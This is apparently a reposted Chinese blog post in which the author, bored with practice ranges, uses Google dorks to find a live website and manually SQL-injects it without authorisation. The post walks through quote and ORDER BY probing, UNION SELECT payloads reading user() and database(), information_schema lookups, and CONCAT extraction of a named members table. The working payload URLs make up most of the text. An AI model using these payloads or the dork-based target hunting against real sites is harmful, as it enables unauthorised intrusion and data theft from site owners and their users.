前言: 学了SQL注入一段时间了,也在顺利通关过墨者靶场。不过,靶场哪有真实网站好玩? 何为sql注入? SQL注入就是SQL+注入,不清楚可以百度。 寻找网站: google黑语法: 谷歌搜索也蛮有意思的,打inurl自动推荐了很多关键词,比如:“inurl php id”。 为什么不用百度呢? 少,并且找的多数为国内。 ①、试探 http://www.xxx.org/members.php?id=1 用单引号“'”的时候,是会报错的。 接着测试,order by 5 ,以第5列进行排列,报错。当 表<=实际列数,就不会报错。 http://www.xxx.org/members.php?id=1 order by 5 http://www.xxx.org/members.php?id=1 order by 4 由以上可知,当前表的列为4。 知道了几列,接下来就能知道回显的是哪几列。 ②、联合注入 http://www.xxx.org/members.php?id=1 and false union select 1,2,3,4 回显了2,4列。 http://www.xxx.org/members.php?id=1 and false union select 1,user(),3,database() 接下来查字典库,information_schema。 http://www.xxx.org/members.php?id=1 and false union select 1,user(),3,(selecttable_name from information_schema.tables where table_schema=database() limit0,1) http://www.xxx.org/members.php?id=1 and false union select 1,(select id from db83231_asfaa.members limit 0,1),3,(select column_name frominformation_schema.columns where table_schema=database() andtable_name='members' limit 0,1) concat字段查一查,member表里面到底有点啥。 http://www.xxx.org/members.php?id=1 and false union select 1,(select concat(id,nome,imagem,texto) from db83231_asfaa.members limit 0,1),3,(selectcolumn_name from information_schema.columns where table_schema=database() andtable_name='members' limit 0,1) ??? ... 这是个什么网站呢? 有点意思。。。还好查的都是网站允许显示的数据,不涉及敏感数据。 sqlmap就不上了(只能查出三个数据库,没权限)。 嗯。。。到此为止。 声明:文章收集于网络,版权归原作者所有,为传播信息而发,如有侵权,请联系小编删除,谢谢! |